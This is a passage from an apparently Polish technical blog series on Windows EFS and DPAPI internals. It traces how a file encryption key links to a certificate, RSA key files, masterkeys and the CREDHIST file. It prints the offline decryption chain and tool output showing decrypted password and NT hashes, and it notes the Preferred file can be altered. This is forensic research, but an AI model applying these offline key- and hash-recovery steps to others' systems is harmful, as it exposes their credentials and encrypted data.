Na koniec tego podrozdziału i wyprzedzając nieco fakty rzućmy jeszcze okiem na przykładowy FEK. Po odszyfrowaniu 256 bajtów znajdujących się w sekcji DDF (lub DRF, bez znaczenia) otrzymujemy 48-bajtową tablicę (Rys 6)


Rys 6. FEK wraz dodatkowymi informacjami

zawierającą szczegóły dotyczące długości klucza (32*8 = 256 bitów), użytego algorytmu oraz wyróżniony na czerwono sam klucz deszyfrujący (Rys 7)


Rys 7. FEK - szczegóły

Dla porządku zestaw dostępnych algorytmów (na podstawie ntfs-3g):
CALG_DES = 0x6601,

CALG_3DES = 0x6603,

CALG_DESX = 0x6604,

CALG_AES = 0x6610.


Thumbprint

Znając odcisk palca certyfikatu użytkownika oraz jego SID, możemy pokusić się o poszukanie odpowiadającego im certyfikatu. Z jednej strony możemy sięgnąć do rejestru użytkownika (a dokładniej klucza Software\Microsoft\Windows NT\CurrentVersion\EFS\CurrentKeys w pliku ntuser.dat) oraz gałęzi SOFTWARE (Microsoft\SystemCertificates), lub - co ma większy sens i tą drogą pójdziemy, udać się do katalogu profilu użytkownika, a dokładniej podkatalogu
%APPDATA%\Microsoft\SystemCertificates\My\Certificates, co w moim przypadku przekłada się na C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates. Bez trudu znajdujemy tam plik o wiele mówiącej nazwie (Rys 8):


Rys 8. Zawartość katalogu z certyfikatami użytkownika
która jest po prostu thumbprintem certyfikatu.

W tym miejscu zatrzymujemy się na odpoczynek, a w następnej części spróbuję odpowiedzieć na - być może - rodzące się pytania:
  • skąd wziąłem klucz deszyfrujący dla FEKa?
  • w jaki sposób korzystam z FEKa do odszyfrowania zawartości pliku?
I niby wszystko wydaje się być oczywiste - w końcu mam działający system i mogłem sobie wyeksportować klucze do pliku, gdzież tu trudność?! Ja jednak tego nie zrobiłem i całą operację przeprowadziłem offline, a po szczegóły zapraszam niebawem.

$EFS, cz. 2. DPAPI internals

$
0
0
Przygód z EFS ciąg dalszy. Dziś docieramy do obszarów, które wykorzystywane są również w innych miejscach systemu, dlatego niezbędny jest osobny tekst i odpowiedni podtytuł. Jedziemy!

Certyfikat

W poprzedniej części dotarliśmy do miejsca, w którym powiązaliśmy zaszyfrowany FEK z certyfikatem użytkownika. Zajrzyjmy do menadżera certyfikatów (tylko informacyjnie, bo przecież w trybie offline nie będziemy mieli już takiego komfortu!).


Rys 1. Właściwości certyfikatu powiązanego z szyfrowaniem EFS

Mając w pamięci certyfikat widziany z poziomu certmgr, zaglądamy szybko do pliku certyfikatu, który - jak przypomnę - znajduje się w profilu użytkownika: %APPDATA%\Microsoft\SystemCertificates\My\Certificates\ i ma nazwę związaną z thumbprintem certyfikatu, czyli skrótem SHA1: EFF5EDAB8123D06B6EFEA7D87716B03F9C8F48CD.


Rys 2. Plik certyfikatu z wyróżnionymi najważniejszymi polami.

Plik certyfikatu z Rys 2. zawiera wyłącznie część publiczną klucza, którego fragment widzimy na zrzucie z ekranu (Rys 1.) i dla ułatwienia zaznaczyłem na pomarańczowo w Rys 2. Najistotniejsza część, czyli sam klucz publiczny to 256 bajtów zaznaczone na czerwono. Dodatkowo, zaznaczony na zielono obszar to kompletny plik certyfikatu (w formacie ASN), który uzyskalibyśmy klikając ‘Copy to file’ w oknie z Rys 1 i wybierając opcję ‘No, don’t export private key’ oraz wskazując format ‘DER encoded binary X.509 (.CER)’. Wyodrębnijmy zatem tę część do osobnego pliku i przepuśćmy przez systemowy certutil:

>certutil -asn EFF5EDAB8123D06B6EFEA7D87716B03F9C8F48CD_18Ch_2FBh_selection
0000: 30 82 02 f7                               ; SEQUENCE (2f7 Bajtów)
0004:    30 82 01 df                            ; SEQUENCE (1df Bajtów)
0008:    |  a0 03                               ; OPTIONAL[0] (3 Bajtów)
000a:    |  |  02 01                            ; INTEGER (1 Bajtów)
000c:    |  |     02
000d:    |  02 10                               ; INTEGER (10 Bajtów)
000f:    |  |  32 3d 71 91 d3 af 92 96  4c 64 36 ff 0d 17 a3 61
001f:    |  30 0d                               ; SEQUENCE (d Bajtów)
0021:    |  |  06 09                            ; OBJECT_ID (9 Bajtów)
0023:    |  |  |  2a 86 48 86 f7 0d 01 01  05
         |  |  |     ; 1.2.840.113549.1.1.5 sha1RSA
002c:    |  |  05 00                            ; NULL (0 Bajtów)
002e:    |  30 10                               ; SEQUENCE (10 Bajtów)
0030:    |  |  31 0e                            ; SET (e Bajtów)
0032:    |  |     30 0c                         ; SEQUENCE (c Bajtów)
0034:    |  |        06 03                      ; OBJECT_ID (3 Bajtów)
0036:    |  |        |  55 04 03
         |  |        |     ; 2.5.4.3 Przydomek (CN)
0039:    |  |        13 05                      ; PRINTABLE_STRING (5 Bajtów)
003b:    |  |           41 64 6d 69 6e                                    ; Admin
         |  |              ; "Admin"
0040:    |  30 20                               ; SEQUENCE (20 Bajtów)
0042:    |  |  17 0d                            ; UTC_TIME (d Bajtów)
0044:    |  |  |  31 35 30 32 32 35 31 38  30 39 30 31 5a           ; 150225180901Z
         |  |  |     ;  2015-02-25 19:09
0051:    |  |  18 0f                            ; GENERALIZED_TIME (f Bajtów)
0053:    |  |     32 31 31 35 30 32 30 31  31 38 30 39 30 31 5a     ; 21150201180901Z
         |  |        ;  2115-02-01 19:09
0062:    |  30 10                               ; SEQUENCE (10 Bajtów)
0064:    |  |  31 0e                            ; SET (e Bajtów)
0066:    |  |     30 0c                         ; SEQUENCE (c Bajtów)
0068:    |  |        06 03                      ; OBJECT_ID (3 Bajtów)
006a:    |  |        |  55 04 03
         |  |        |     ; 2.5.4.3 Przydomek (CN)
006d:    |  |        13 05                      ; PRINTABLE_STRING (5 Bajtów)
006f:    |  |           41 64 6d 69 6e                                    ; Admin
         |  |              ; "Admin"
0074:    |  30 82 01 22                         ; SEQUENCE (122 Bajtów)
0078:    |  |  30 0d                            ; SEQUENCE (d Bajtów)
007a:    |  |  |  06 09                         ; OBJECT_ID (9 Bajtów)
007c:    |  |  |  |  2a 86 48 86 f7 0d 01 01  01
         |  |  |  |     ; 1.2.840.113549.1.1.1 RSA (RSA_SIGN)
0085:    |  |  |  05 00                         ; NULL (0 Bajtów)
0087:    |  |  03 82 01 0f                      ; BIT_STRING (10f Bajtów)
008b:    |  |     00
008c:    |  |     30 82 01 0a                   ; SEQUENCE (10a Bajtów)
0090:    |  |        02 82 01 01                ; INTEGER (101 Bajtów)
0094:    |  |        |  00
0095:    |  |        |  9f d5 8c ad a1 9e 95 dc  94 48 6a a8 ad fb 26 3a
00a5:    |  |        |  22 b8 9f 72 e0 c3 14 d6  b9 47 74 25 75 c9 e5 1f
00b5:    |  |        |  b8 7d b6 46 b6 9b 5b 93  87 a7 d5 9f a9 99 2d b0
00c5:    |  |        |  d7 db 68 f2 ee b1 f7 06  4d 16 c7 fb a3 0f 93 31
00d5:    |  |        |  2b 4a 39 32 0d 0c 2d fb  c0 68 4b ca ba 02 da 43
00e5:    |  |        |  8a b3 59 c9 42 e7 07 cd  7a 53 ea 25 a5 e1 6a dc
00f5:    |  |        |  07 63 03 4f ee 2d 96 61  57 b3 1b e6 b2 d6 5d cb
0105:    |  |        |  67 b0 25 91 30 8b bc 2a  71 95 87 db 57 e1 45 f4
0115:    |  |        |  ab b3 ea 09 f6 24 5c 98  71 81 f5 98 9c 90 b6 d3
0125:    |  |        |  fa 4b 78 06 d7 9f 6c 2d  6c 26 c5 66 23 90 e9 6f
0135:    |  |        |  81 3a e2 9e 1d f2 4f c2  99 16 1f 85 1e 5b c3 aa
0145:    |  |        |  16 1d 58 26 bb b9 12 f1  78 58 35 04 d9 51 f5 55
0155:    |  |        |  00 b7 60 6e 41 71 d5 6a  a4 b8 4a 54 52 3d 12 76
0165:    |  |        |  d2 96 51 03 9d 4e 5f 2e  61 6a a3 ff 78 d9 72 e2
0175:    |  |        |  9e 69 8d 5c 36 36 2b d0  0c 8f 2d 1d 3e 17 14 bc
0185:    |  |        |  7b 1c f2 af be 3d 20 1a  15 56 5c c6 af 26 27 0f
0195:    |  |        02 03                      ; INTEGER (3 Bajtów)
0197:    |  |           01 00 01
019a:    |  a3 4b                               ; OPTIONAL[3] (4b Bajtów)
019c:    |     30 49                            ; SEQUENCE (49 Bajtów)
019e:    |        30 15                         ; SEQUENCE (15 Bajtów)
01a0:    |        |  06 03                      ; OBJECT_ID (3 Bajtów)
01a2:    |        |  |  55 1d 25
         |        |  |     ; 2.5.29.37 Ulepszone użycie klucza
01a5:    |        |  04 0e                      ; OCTET_STRING (e Bajtów)
01a7:    |        |     30 0c                   ; SEQUENCE (c Bajtów)
01a9:    |        |        06 0a                ; OBJECT_ID (a Bajtów)
01ab:    |        |           2b 06 01 04 01 82 37 0a  03 04
         |        |              ; 1.3.6.1.4.1.311.10.3.4 System szyfrowania plików
01b5:    |        30 25                         ; SEQUENCE (25 Bajtów)
01b7:    |        |  06 03                      ; OBJECT_ID (3 Bajtów)
01b9:    |        |  |  55 1d 11
         |        |  |     ; 2.5.29.17 Alternatywna nazwa podmiotu
01bc:    |        |  04 1e                      ; OCTET_STRING (1e Bajtów)
01be:    |        |     30 1c                   ; SEQUENCE (1c Bajtów)
01c0:    |        |        a0 1a                ; OPTIONAL[0] (1a Bajtów)
01c2:    |        |           06 0a             ; OBJECT_ID (a Bajtów)
01c4:    |        |           |  2b 06 01 04 01 82 37 14  02 03
         |        |           |     ; 1.3.6.1.4.1.311.20.2.3 Nazwa główna
01ce:    |        |           a0 0c             ; OPTIONAL[0] (c Bajtów)
01d0:    |        |              0c 0a          ; UTF8_STRING (a Bajtów)
01d2:    |        |                 41 64 6d 69 6e 40 56 4d  37 00                    ; Admin@VM7.
         |        |                    ; "Admin@VM7"
01dc:    |        30 09                         ; SEQUENCE (9 Bajtów)
01de:    |           06 03                      ; OBJECT_ID (3 Bajtów)
01e0:    |           |  55 1d 13
         |           |     ; 2.5.29.19 Podstawowe warunki ograniczające
01e3:    |           04 02                      ; OCTET_STRING (2 Bajtów)
01e5:    |              30 00                   ; SEQUENCE (0 Bajtów)
01e7:    30 0d                                  ; SEQUENCE (d Bajtów)
01e9:    |  06 09                               ; OBJECT_ID (9 Bajtów)
01eb:    |  |  2a 86 48 86 f7 0d 01 01  05
         |  |     ; 1.2.840.113549.1.1.5 sha1RSA
01f4:    |  05 00                               ; NULL (0 Bajtów)
01f6:    03 82 01 01                            ; BIT_STRING (101 Bajtów)
01fa:       00
01fb:       01 34 a6 07 0e 4b b1 0f  e5 07 3b 0e 2e d8 38 7b
020b:       f7 45 ed 09 01 42 80 8d  45 13 3a 8c 11 06 ca 0b
021b:       9b ce c5 7d ba 6e 9a 95  c1 2d d9 56 d4 ce 90 a5
022b:       99 36 9f 0f 87 04 58 3b  29 99 a3 11 fd 33 97 1b
023b:       c3 1a 82 a8 6a 8b cc d3  b6 aa 86 ed 65 2d 84 45
024b:       b0 b4 de 6e e9 ea 49 0b  1e 84 90 4c af 26 12 84
025b:       03 8a 11 e9 fc 82 81 67  8b 0c e8 7c cc 20 3d 45
026b:       36 17 8e f8 89 6e 4e f6  b7 da d2 0a bd 4d 9f 93
027b:       b1 22 35 cc b3 c6 23 19  17 5c 2f ab c4 0c a9 8a
028b:       46 6b da 49 db c3 bb c0  4f cd 87 e7 d9 1d e2 94
029b:       32 36 80 57 34 93 77 ed  32 e8 aa 4d ac 5b 8a 13
02ab:       b7 cd 2b bc 26 dd 4c dc  05 ee 9c a4 23 3d f8 e1
02bb:       f0 2c 9a c6 a6 e4 0f 5c  0e 2d 4c af a4 7a 5b 75
02cb:       92 e6 d1 8a 98 eb ce f8  9e b3 fc d2 54 06 e5 46
02db:       81 32 0c 47 1e 5c 73 4c  d3 0f e6 0e b2 67 26 d2
02eb:       81 4e c4 82 22 f0 cd 91  dd 55 5a 68 30 78 3e 19
CertUtil: polecenie -asn zostało wykonane pomyślnie.


W tym momencie mamy już dużo szczegółów dotyczących pliku certyfikatu: wiemy, że użyte zostało RSA, certyfikat przeznaczony jest do użycia w systemie szyfrowania plików, znamy daty ważności pliku, etc., jednak najważniejsza informacja kryje się na Rys 2. pod niebieskim zaznaczeniem. Jest to Key container zapisany w UTF-16LE, który w zrzucie z certutil zaprezentuje nam się następująco:

>certutil -user -store My
My
================ Certificate 0 ================
Serial Number: 323d7191d3af92964c6436ff0d17a361
Issuer: CN=Admin
 NotBefore: 2/25/2015 7:09 PM
 NotAfter: 2/1/2115 7:09 PM
Subject: CN=Admin
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template:
Cert Hash(sha1): ef f5 ed ab 81 23 d0 6b 6e fe a7 d8 77 16 b0 3f 9c 8f 48 cd
  Key Container = 0d29406b-f9e6-4659-90e4-c407201049d2
  Unique container name: 7023b50b1cb2749ef32e108926d13a7d_2f51b5ee-3fb6-43b6-9ba
a-ba5e4247b0df
  Provider = Microsoft Enhanced Cryptographic Provider v1.0
Encryption test passed


i pozwala nam na jednoznaczne zidentyfikowanie pliku zawierającego klucz prywatny tego certyfikatu. W powyższym zrzucie narzędzia certutil występuje jeszcze Unique container name, który jest jeszcze ciekawszy. Zawiera on wprost nazwę pliku z kluczem prywatnym, jednak sposób otrzymania Unique container name jest dla mnie zagadką i w trybie offline nie jestem w stanie jej odtworzyć. To, co udało mi się zauważyć, to to, że nazwa składa się z dwóch części: <dynamic_guid>.<machine_guid>, przy czym <machine_guid> zapisany jest w rejestrze w kluczu HKLM\Software\Microsoft\Cryptography we wpisie MachineGuid, natomiast pochodzenia <dynamic_guid> nie udało mi się ustalić. Mogę tylko przypuszczać, że może to być jakiś skrót fragmentu, bądź całości certyfikatu, ale większych testów i poszukiwań nie przeprowadziłem. Jeśli ktoś wie coś więcej, to zapraszam do podzielenia się swoją wiedzą :)
Mając Key Container, pubkey oraz datę utworzenia pliku certyfikatu jestem w stanie dosyć szybko odnaleźć drugą, brakującą część układanki.

Klucze RSA

Użycie RSA wiąże się z utworzeniem pliku zawierającego wszystkie parametry RSA. Zapisywany on jest w profilu użytkownika, a dokładniej %APPDATA%\Microsoft\Crypto\RSA\{SID}. W omawianym przeze mnie przypadku będzie to: C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-580747136-2243477503-2994681153-1000.
Już pierwszy rzut oka na zawartość tego katalogu pozwala na zorientowanie się, że wszystkie nazwy mają podobny schemat, o którym kilka zdań wyżej pisałem nieco więcej. Pamiętajmy, że RSA używane jest w różnych miejscach systemu i pliki z kluczami nie muszą być powiązane z żadnym certyfikatem, bo przecież to tylko jedno z wielu możliwych użyć RSA. Kolejna rzecz - z moich obserwacji wynika, że system nie mając informacji o tym, że klucz RSA nie jest już do niczego przydatny, nie może usunąć plików i pozostawia je tam nietknięte. Przestrzegam jednak przed ‘porządkami’ w kluczach, bo może się okazać, że gdzieś jednak klucz jest jeszcze używany i wtedy może być troszkę gorzej ;)
Mając jednak same: pubkey, key container oraz datę pliku (z pliku certyfikatu) musimy przeczesać wszystkie pliki w poszukiwaniu tego, który nas interesuje. I jeśli tylko odpowiedni plik istnieje, to go znajdziemy. Poniżej wynik naszych poszukiwań.


Rys 3. Plik zawierający klucze RSA

Plik podzielony jest z grubsza na 4 główne części:
[] nagłówek - w którym znajdziemy podstawowe informacje dotyczące pozostałych elementów oraz wyróżniony na [] czerwono key container, który widzieliśmy wcześniej w pliku certyfikatu (tu mamy kodowanie ASCII);
[] rsaheader - z częścią publiczną klucza oraz jednym z parametrów algorytmu (pubexp = 65537, co jest najczęściej używaną wartością);
[] blob DPAPI zawierający klucz prywatny RSA;
[] blob DPAPI zawierajacy dodatkowe dane służące do odszyfrowania klucza prywatnego.

Jako ciekawe i bardzo pouczające zadanie pozostawiam odnalezienie klucza publicznego w sekcji pomarańczowej :)

Na Rys 4 możemy znaleźć więcej szczegółów opisanych wyżej pierwszych dwóch składowych wraz z wyróżnioną nazwą key containera.


Rys 4. Zgrubny podział pliku zawierającego klucze RSA.

Dziwić może nadmiarowy rozmiar tablicy zawierającej klucz publiczny - w końcu powinien wynosić 256, a nie 264 bajtów. Rzut oka na zawartość tablicy i wszystko jasne - wystarczy obciąć ostatnie 8 zerowych bajtów i mamy kluczyk (obcinamy tak naprawdę do bitlength / 8).

Wszystko fajnie, ale gdzie jest klucz prywatny? Przecież bez niego nie odszyfrujemy efs-owego FEKa i nie będziemy w stanie dostać się do zawartości zaszyfrowanego pliku! Odpowiedzi należy szukać w dwóch tajemniczych polach: rsapk oraz rsaFlags, które zapisane są z użyciem tej samej struktury: DPAPIBlob. Czas na bardzo głębokie zanurzenie!

DPAPI

Struktury danych oraz algorytmy użyte w DPAPI przez długi czas stanowiły zagadkę i w zasadzie dopiero prace przy DPAPIck doprowadziły do względnego uporządkowania dostępnej wiedzy. Niemal 4 lata temu w swojej blotce o zabezpieczeniach związanych z SecureString  wspominałem już o DPAPI (a także o efs), jednak nie wchodziłem bardzo głęboko w szczegóły. Prawdę powiedziawszy od tamtego czasu niewiele się w tej materii zmieniło, temat nadal jest słabo omawiany i poza DPAPIck w zasadzie brakuje narzędzi pozwalających na eksplorację. Jak widać, nawet tak długi czas pozwala na zupełnie świeże jego przedstawienie: po polsku nie znalazłem nic interesującego, więc albo temat nie jest ciekawy, albo nikt, kto rozpoznał go w całości nie podjął się szerszej prezentacji. Czas tę lukę wypełnić, zapraszam w otchłań podstawowych mechanizmów systemowych związanych z zabezpieczaniem wrażliwych danych użytkownika.

Podstawowym założeniem DPAPI jest umożliwienie użytkownikowi przechowywanie jego wrażliwych danych (np. danych logowania do różnych systemów, kluczy szyfrujących, etc.) w sposób bezpieczny. Przy czym ‘sposób bezpieczny’ należy rozumieć jako taki, który zapewnia, iż odzyskanie oryginalnych danych jest bardzo trudne, lub wręcz niemożliwe, bez znajomości pewnych faktów. Informacją, na której opiera się bezpieczeństwo całego systemu jest hasło użytkownika, a precyzyjniej skrót hasła (SHA1 - najczęściej; czasem MD4). Na podstawie skrótu hasła generowany jest zestaw kluczy (masterkeys), które służą do odszyfrowywania blobów DPAPI. Aby zabawę nieco urozmaicić pomyślmy o tym, co się dzieje, gdy użytkownik zmieni hasło. W takim momencie bieżący skrót hasła  nie może zostać wykorzystany do odszyfrowywania masterkeys, więc system musi skądś ten skrót wziąć. Miejscem tym jest plik CREDHIST, w którym zapisane są wszystkie skróty haseł użytkownika, które były w użyciu w momencie korzystania z DPAPI.
Po tym krótkim wstępie wróćmy do naszego certyfikatu, a dokładniej pliku zawierającego klucz prywatny RSA. Dwie ostatnie składowe pliku to bloby DPAPI, i dla poprawy czytelności skupimy się na drugim z nich. Struktury są bowiem identyczne, jednak długość pierwszego jest znacznie większa od drugiego, więc zajmowanie się dłuższym na pewno nie poprawi zrozumienia, a wręcz przeciwnie. Najciekawsze pola tego bloba znajdziemy na Rys 5 (kolor poprzedzającego bloba zmieniłem na czarny).


Rys 5. Blob DPAPI - rsaFlags

Bardziej szczegółowy opis znajdziemy na Rys 6.


Rys 6. Bloby DPAPI z pokolorowanymi niektórymi polami.

W tym momencie najważniejsze pole to mkguid, które w przypadku obu blobów jest identyczne:
f36aeda2-00fc-40d3-bac6-41866e959715. Zanim go omówimy dokładniej, rzućmy okiem na pozostałe wyróżnione pola bloba:
[] provider - Guid providera, który został użyty przez DPAPI do szyfrowania. Występuje w zasadzie we wszystkich blobach DPAPI i tym samym stanowi jego wyróżnik, którego można użyć w poszukiwaniu blobów rozsianych po dysku, rejestrze, etc.;
[] cipherAlgo (0x6610) - liczba określająca użyty algorytm symetryczny;
[] hashAlgo (0x800E) - liczba określająca użyty algorytm wyliczania skrótu;
[] salt - tablica bajtów zawierająca sól użytą podczas wyliczania klucza deszyfrującego;
[] hmac - dla porównania tablica bajtów gwarantująca, że nikt nie gmerał przy całym blobie :)
[] cipherText - tablica bajtów zawierająca zaszyfrowane dane;
[] sign - tablica bajtów zawierająca blob podpisany hmacem do potwierdzenia integralności bloba.

Można się w tym momencie zastanawiać, dlaczego w kluczu RSA znajdują się dwa bloby DPAPI, ale odpowiedź na to pytanie przyjdzie później, teraz pomyślmy skąd wziąć klucz deszyfrujący dla bloba.

Ścieżka prowadzi poprzez tajemniczy mkguid. Czas wejść w trzewia DPAPI.

Masterkey

Wszystkie pliki związane z DPAPI znajdują się w profilu użytkownika, w katalogu %APPDATA%\Microsoft\Protect (Rys 7)


Rys 7. Katalog główny DPAPI

Omawiany guid to po prostu nazwa pliku zawierającego masterkey, który znajduje się w podkatalogu %APPDATA%\Microsoft\Protect\{SID}, gdzie {SID} to oczywiście sid użytkownika (Rys 8).


Rys 8. Katalog z plikami masterkeys.

Zaznaczony plik to interesujący nas masterkey, który zawiera klucz deszyfrujący bloba DPAPI. Jesteśmy już bardzo blisko rozwiązania, niemal czujemy zapach klucza :) Zobaczmy zatem, jak wygląda plik masterkey.


Rys 9. Masterkey z wyróżnionymi najciekawszymi elementami

Już na pierwszy rzut oka możemy odnaleźć masterkey guid (mkguid), który zapisany jest w postaci łańcucha znaków w kodowaniu UTF-16LE. Pozostałe wyróżnione elementy wymagają dodatkowego opisu struktury, który znajdziemy na Rys 10.


Rys 10. Struktura pliku masterkey

Z najciekawszych pól na szczególną uwagę zasługują pola struktury masterkey:
[] iv - wektor inicjalizacyjny wykorzystany do odszyfrowania bloba zapisanego jako [] cipherText.
[] hashAlgo - ponownie liczba wskazująca na użyty algorytm haszujący;
[] cipherAlgo - i tu wracamy do liczby wsazującej na użyty algorytm symetryczny;
[] rounds - liczba określająca liczbę rund użyta przy obliczeniach skrótu z użyciem funkcji pbkdf2.

Jednak najważniejszy element kryje się na samym końcu: guid, który prowadzi nas do kolejnej zagadki: pliku Credhist. Mamy bowiem niemal wszystkie elementy układanki związanej z plikiem masterkey, brakuje nam tylko jednego: klucza deszyfrującego. Bez niego nie jesteśmy w stanie odszyfrować zawartości ciągu cipherText, a więc brniemy dalej.
Zanim jednak to uczynimy, krótka wzmianka o pliku Prefered. DPAPI zapisuje w nim guid związany z plikiem masterkey, który jest 'preferowany', czyli powinien zostać użyty, a także datę, kiedy preferowany plik master powinien zostać zastąpiony kolejnym (Rys Prefered 1, Prefered 2)


Rys Prefered 1. Dane pliku prefered


Rys Prefered 2. Plik Prefered - struktura

Jak widać, datą graniczną dla bieżącego pliku jest 22 kwietnia. Rzucamy okiem na Rys 8. i okazuje się, że DPAPI zamierza wymieniać plik master na nowy po 3 miesiącach od utworzenia poprzedniego. Czego brakuje w pliku Prefered? Jakiegoś HMACa - wystarczy ustawić odpowiednio odległy czas i możemy jechać na jednym pliku master tak długo, jak będziemy chcieli.

Credhist

Już we wstępie do DPAPI napisałem, że plik Credhist zawiera skróty haseł użytkownika, które zostały użyte do zaszyfrowania masterkeys. Myliłby się jednak ten, który sądzi, iż są one zapisane tam w postaci jawnej i tylko czekają na wyciągnięcie. O nie, co to, to nie! Zresztą sami zobaczmy.


Rys 11. Plik Credhist

Hmm… długi ten zrzut jak na wpis na blogu. Ale przynajmniej wszystko widać, jak na dłoni! Plik podzielony jest z grubsza na nagłówek i tablicę elementów typu CredHistEntry, które starałem się pokolorwać w różne odcienie przechodzące między zielenią, a jakimś fioletem. Ostatni, a w istocie pierwszy wpis tej listy, widoczny na dole Rys 11 powinien być najbardziej zielony ze wszystkich, jednak zdjąłem z niego ten kolor i wyróżniłem różnymi kolorami najciekawsze elementy struktury, szczegóły na Rys 12.


Rys 12. Szczegółowy opis pliku Credhist


- hashAlgo, rounds, cipherAlgo, iv - opisywane wcześniej, stanowią parametry funkcji kryptograficznych wyprowadzających klucze oraz biorące udział w deszyfrowaniu ciągu encrypted,
- guid: tu z łatwością odnajdujemy guid zapisany w pliku masterkey (zaznaczony ramką). Zauważmy, że guidy innych wpisów CredHistEntry mają inne guidy (dla porównania rozwinąłem także 3 element listy).

Wszystko fajnie, ale ciągle jeszcze nie wiemy jak wyłuskać interesujący nas klucz deszyfrujący dla naszego pliku masterkey.
W tym momencie przypomina mi się fragment filmu ‘Skarb narodów’, w którym ojciec głównego bohatera stwierdza, iż "a to cię zaprowadzi do kolejnej wskazówki. I zawsze będziesz znajdywał tylko wskazówki.". Mamy bowiem:
- zaszyfrowany fek, do odszyfrowania którego szukamy klucza w
- zaszyfrowanym blobie dpapi w pliku zawierającym prywatny klucz rsa, do odszyfrowania którego potrzebujemy klucza z
- zaszyfrowanego masterkey, do odszfrowania którego potrzebny jest klucz zapisany w
- zaszyfrowanym wpisie w pliku Credhist, do odszyfrowania którego potrzebny jest
- skrót hasła użytkownika.

Ha! :)
Hola, hola! Czyż nie zaskoczyło nikogo to, że pierwszy wpis w pliku Credhist znajduje się na końcu pliku? Okazuje się bowiem, że przy pierwszym dostępie do DPAPI po zmianie hasła przez użytkownika następuje dopisanie bieżącego skrótu na końcu pliku, a poprzedni wpis zostaje zaszyfrowany z użyciem bieżącego skrótu. Aby zatem dostać się do n-tego wpisu, musimy wykonać n-1 operacji odszyfrowania kolejnych skrótów, biorąc wyliczony poprzedni jako klucz do kolejnego. Pierwszym, biorącym udział w całej operacji jest oczywiście bieżący skrót użytkownika.
Wydawałoby się, że plik Credhist jest zatem dosyć dobrym źródłem skrótów haseł i można pokusić się o łamanie ich. Tu okazuje się jednak, że nie ma to większego sensu, albowiem skróty haseł odszyfrowane są następująco:
- na podstawie skrótu SHA1 (rzadziej MD4) hasła użytkownika oraz jego SIDu (zakończonego \0) wyliczany jest HMAC-SHA1 (encKey);
- tak wyliczony encKey trafia do funkcji pbkdf2 wraz z pozostałymi parametrami, w naszym przypadku:
cipherKey = pbkdf2(hashAlgo = 0x800e (SHA512), encryptionKey = encKey, iv = iv(16 bajtów widocznych na Rys 11), rounds = 17400)
- tak wyznaczony klucz (cipherKey) trafia do algorytmu symetrycznego (w naszym przypadku AES-256-CBC), przy czym początkowe 32 bajty stanowią klucz, a pozostałe 16 - wektor inicjujący i po 3 przebiegach uzyskujemy 48 bajtów odszyfrowanych danych.

W ramach odszyfrowanych danych dostajemy 20 bajtów skrótu SHA-1 oraz 16 bajtów skrótu MD4 (NTHash). Poniżej wyniki z badanego przez nas pliku:



>CredhistDecrypt "<tu moje tajne hasło ;)>" %APPDATA%\Microsoft\Protect\CREDHIST
Credhist entries: 16

Entry[0]:
 guid:                 eaa7c4f9-ef65-42cb-9fd4-1713eaa32669
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   0432EF8EA2042B867682B2989ED97CAB
 decrypted pwdhash:    0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
 decrypted nthash:     5FA88DF7BF81CCC14C7F75111F4C9C0F

Entry[1]:
 guid:                 d7808b04-fab3-438e-a89f-5850da47b4cf
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   608AFFAEDEDD7885B5C9A9640CD3BDB0
 decrypted pwdhash:    CC2225CC3784FBFEC26F87A511FB7BCCE4718096
 decrypted nthash:     E4F1BA73165D937C5FC709517E604D73

Entry[2]:
 guid:                 34dc2512-0dd4-461f-89ed-2874cbb555dd
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   8BCF9332CD96AB0F84B01C82229CA76A
 decrypted pwdhash:    0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
 decrypted nthash:     5FA88DF7BF81CCC14C7F75111F4C9C0F

Entry[3]:
 guid:                 a366d3aa-e2ab-4c32-ad3d-8f708b18d3a1
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   DBBA71569E757A578FF1374DBD53EC04
 decrypted pwdhash:    CC2225CC3784FBFEC26F87A511FB7BCCE4718096
 decrypted nthash:     E4F1BA73165D937C5FC709517E604D73

Entry[4]:
 guid:                 0ee78b69-bf92-4c7f-bbb4-b13f2001c8c4
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   DF717641C79AB597F9DE2307F78B3B77
 decrypted pwdhash:    0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
 decrypted nthash:     5FA88DF7BF81CCC14C7F75111F4C9C0F

Entry[5]:
 guid:                 cc0f2b05-dd80-4b8c-be1c-63b70e9ac252
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   43249B6FB4C63500EDAB6E9BC36E8BB2
 decrypted pwdhash:    CC2225CC3784FBFEC26F87A511FB7BCCE4718096
 decrypted nthash:     E4F1BA73165D937C5FC709517E604D73

Entry[6]:
 guid:                 382a65c4-6a8c-40c0-9b9b-d9cf554c499c
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   73067C0035DE8BE2E77037AFD352D9DD
 decrypted pwdhash:    0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
 decrypted nthash:     5FA88DF7BF81CCC14C7F75111F4C9C0F

Entry[7]:
 guid:                 096407ac-6b03-4eb3-b940-9f0bcd697b5f
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   9A87D8CE7C7169A2BBB7C31C2A097EE0
 decrypted pwdhash:    CC2225CC3784FBFEC26F87A511FB7BCCE4718096
 decrypted nthash:     E4F1BA73165D937C5FC709517E604D73

Entry[8]:
 guid:                 fa0d031d-f413-4f96-a0a7-1b7b4ccf4456
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   6B5DD141228009657C6F3BF50450CCD9
 decrypted pwdhash:    0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
 decrypted nthash:     5FA88DF7BF81CCC14C7F75111F4C9C0F

